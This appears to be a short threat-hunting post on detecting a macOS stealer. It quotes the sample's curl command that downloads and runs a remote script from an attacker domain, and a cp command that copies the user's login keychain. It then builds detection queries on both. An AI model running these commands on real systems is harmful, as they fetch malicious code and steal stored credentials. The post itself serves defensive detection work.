147. Detecting a macOS Stealer

Hello everyone!

We see lots of stealers for Windows. But what about macOS? Recently MalwareHunterTeam shared information on an interesting macOS malware sample.

The sample abuses cURL to download a script from a remote server:

curl -sfo /tmp/up.sh https://www.appleprocesshub[.]com/fSidEOWW.sh && chmod 777 /tmp/up.sh && sh /tmp/up.sh

The adversary uses notable command ine parameters to execute cURL, including -s (silent mode) and -f (fail silently). We can use it to build a hunting query:

event_type: "processcreatemac"

AND

proc_file_name: "curl"

AND

cmdline: "sfo"

The script collects system information as well as sensitive data, including the keychain, for example:

cp /Users/root/Library/Keychains/Login.keychain-db /tmp/20250516021858/VMQFcNm+96F/.keychain-db

This procedure can be also used to build a query:

event_type: "processcreatemac"

AND

proc_file_name: "cp"

AND

cmdline: "keychain"

Collected data is archived and exfiltrated to the same server, that's it.

See you tomorrow!

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